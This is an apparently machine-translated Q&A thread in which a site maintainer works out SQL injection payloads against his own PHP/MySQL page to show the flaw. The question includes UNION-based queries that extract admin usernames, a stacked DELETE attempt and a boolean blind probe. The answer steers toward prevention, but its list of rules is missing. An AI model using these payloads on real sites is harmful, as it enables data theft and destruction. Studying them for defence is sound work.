一位开发人员刚刚在我维护的网站上引入了一个SQL注入漏洞,我想展示它是如何被轻易利用的;但有几个问题。
采用SQL,大致是:
SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = $_GET['month']
ORDER BY
c.start
如果我将$_GET['month']
设置为:
13 UNION SELECT 1, username, 3 FROM admin
那将运行查询:
SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
c.start
如果ORDER BY没有包含c.
表别名,那将会有效。相反,它会导致错误:
Table 'c' from one of the SELECTs cannot be used in field list
向c
添加admin
ALIAS也没有任何区别:
13 UNION SELECT 1, c.username, 3 FROM admin AS c
我尝试使用--
注释掉ORDER BY,但这不起作用,因为它在新行上:
13 UNION SELECT 1, c.username, 3 FROM admin AS c --
同样/*
无法工作,因为我无法添加最终*/
:
13 UNION SELECT 1, c.username, 3 FROM admin AS c /*
似乎mysqli_prepare()
在查询中的任何地方都不喜欢;
- 所以DROP,DELETE或TRUNCATE会导致SQL语法错误:
13; DELETE FROM admin;
目前我唯一想到的就是添加WHERE子句,因此攻击者可以获得是/否响应(某些记录或没有记录),如下所示 - 但这不如看见记录显示在屏幕上: - )
SELECT
c.id,
c.name,
c.start_estimate
FROM
thr_course_term AS c
WHERE
MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
c.start_estimate;
SQL使用mysqli
在PHP中运行,粗略的代码是:
<?php
$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']
$sql = 'SELECT
c.id,
c.name,
c.start
FROM
course AS c
WHERE
MONTH(c.start) = ' . $month . '
ORDER BY
c.start';
$link = mysqli_connect('localhost', 'username', 'password', 'database');
$statement = mysqli_prepare($link, $sql);
if (!$statement) {
echo $link->error;
} else {
// Skip the bind_param bit
$result = $statement->execute();
$result = $statement->get_result();
while ($row = mysqli_fetch_assoc($result)) {
print_r($row);
}
}
?>
答案 0 :(得分:3)
实际上没有必要展示任何漏洞利用技术。
一方面,可能的漏洞利用数量是无限的。您可以使用示例来填充整个Stack Overflow。 但是,它们都不会为保护技术添加任何内容。您可以看到,保护规则简短明了。记住数百种可能的漏洞来保护您的网站是没有意义的。您所需要的只是学习一些规则:
这就是全部。
另一方面,为了展示危险,旧的Bobby Tables&#39;例子就足够了。如果这个没有说服你,我怀疑任何其他漏洞利用示例都会这样做。